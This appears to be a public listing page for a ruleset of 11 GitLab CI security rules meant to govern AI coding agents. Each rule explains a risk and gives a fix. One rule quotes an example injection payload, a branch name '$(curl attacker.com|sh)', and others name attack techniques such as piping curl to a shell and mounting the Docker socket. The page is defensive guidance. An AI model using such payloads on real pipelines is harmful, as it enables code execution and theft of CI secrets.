Hub rules-gitlab-ci

rules-gitlab-ci

v3 public Verified

Gitlab-ci

GitLab CI/CD is a tool built into GitLab for software development using the continuous methodologies. These rules govern pipeline definitions, runner configurations, and secure deployment workflows for AI agents.

@sigmashakeinc 2 pulls 11 rules published Apr 8, 2026 synced Oct 11, 2026 sigmashakeinc/rules/rulesets/rules-gitlab-ci →
Severity
8 error 3 warn 0 info
demo.cast
GitLab CI/CD is a tool built into GitLab for software development using the continuous methodologies. These rules govern pipeline definitions, runner configurations, and secure deployment workflows for AI agents.

Rules index

11 governance rules

Indexed from the repository's .rules files, grouped by technology. Expand any rule to read the raw source.

gitlab-ci

gitlab-ci-block-unsafe-patterns warning ask

Potentially unsafe pattern detected in gitlab-ci code: "tags:". Review the use case — this may indicate a security risk, a deprecated API, or a misconfiguration. Confirm the write is intentional.

Rule source requires an active Pro or Enterprise subscription.
gitlab-ci-force-updated-api warning log

You are using an outdated API for gitlab-ci. Please upgrade to the newer API.

Rule source requires an active Pro or Enterprise subscription.
no-gitlab-allow-failure-security-jobs warning log

RISK: Setting allow_failure: true on a security scanning job means pipeline vulnerabilities never block a merge — SAST/DAST findings are silently ignored. FIX: Remove allow_failure: true from security jobs, or use rules: with a severity threshold to block only critical/high findings.

Rule source requires an active Pro or Enterprise subscription.
no-gitlab-artifacts-expose-secrets error block

RISK: Archiving the entire workspace (paths: - .) as a CI artifact exposes .env files, credential files, and private keys to anyone who can download job artifacts (all project members by default). FIX: Explicitly list only the build outputs you need (e.g., paths: [dist/, build/]) and never archive the root workspace.

Rule source requires an active Pro or Enterprise subscription.
no-gitlab-ci-job-token-abuse error block

RISK: Passing CI_JOB_TOKEN in Authorization headers over plain HTTP or to third-party services leaks a token with access to all projects the CI runner can access. FIX: Use CI_JOB_TOKEN only over HTTPS with GitLab's own API; for cross-project access prefer deploy tokens or project-scoped access tokens.

Rule source requires an active Pro or Enterprise subscription.
no-gitlab-docker-in-docker-socket error block

RISK: Mounting /var/run/docker.sock inside a job container gives it root-equivalent control of the host — any attacker who can write to this job can pivot to the host and all other containers. FIX: Use Docker-in-Docker with TLS (DOCKER_TLS_CERTDIR=/certs) or kaniko for image builds without socket access.

Rule source requires an active Pro or Enterprise subscription.
no-gitlab-expression-injection error block

RISK: Embedding Git commit messages, branch names, or MR titles directly into script: steps is a command injection vector — an attacker crafts a branch name like '$(curl attacker.com|sh)' to execute arbitrary code in CI. FIX: Assign the value to an environment variable (VAR: $CI_COMMIT_MESSAGE) and reference $VAR in script steps; GitLab then passes it as a safe string, not a shell expansion.

Rule source requires an active Pro or Enterprise subscription.
no-gitlab-hardcoded-secrets error block

RISK: Hardcoded credentials in .gitlab-ci.yml are stored in plaintext in Git history and visible to all project members with Reporter+ access. FIX: Store secrets in CI/CD Variables (Settings > CI/CD > Variables) and reference them as $MY_SECRET.

Rule source requires an active Pro or Enterprise subscription.
no-gitlab-include-arbitrary-url error block

RISK: Including CI configuration from arbitrary remote HTTP(S) URLs means your entire pipeline can be hijacked if that URL is compromised or taken over. FIX: Use include:project to reference files within your GitLab group, or pin remote includes to a specific SHA-tagged URL and validate with include:rules conditions.

Rule source requires an active Pro or Enterprise subscription.
no-gitlab-privileged-runner error block

RISK: Privileged runner containers share the host kernel and can escape to the host via Docker socket or cgroups abuse — full host compromise from a single malicious job. FIX: Remove privileged: true; use kaniko for container builds or restrict privileged jobs to isolated, ephemeral runner machines.

Rule source requires an active Pro or Enterprise subscription.
no-gitlab-script-curl-pipe-sh error block

RISK: Piping curl/wget output directly to a shell interpreter in CI executes unverified remote code — supply chain attack surface (see SolarWinds-style compromises). FIX: Download to a file first, verify the checksum against a pinned value, then execute.

Rule source requires an active Pro or Enterprise subscription.

Version metadata

Published metadata

The hash-locked record of this published ruleset. When source contents change, the maintainer resyncs and the version bumps.

Version
v3
Published
Apr 8, 2026
Source commits
0
Synced
Oct 11, 2026
Hash
42b20d3536aa18e2aec9a0afef3a136f1ecce2d311d6f93a1d09f492e5bcfd94
Signature
Verified (publisher key)
Tested with
claude-code@current
Plan
Starter (free)
Visibility
Public

Source history

Recent commits

Latest commits touching rulesets/rules-gitlab-ci/.sigmashake/rules in sigmashakeinc/rules/rulesets/rules-gitlab-ci. The published version only bumps when a maintainer resyncs.

No commit history available.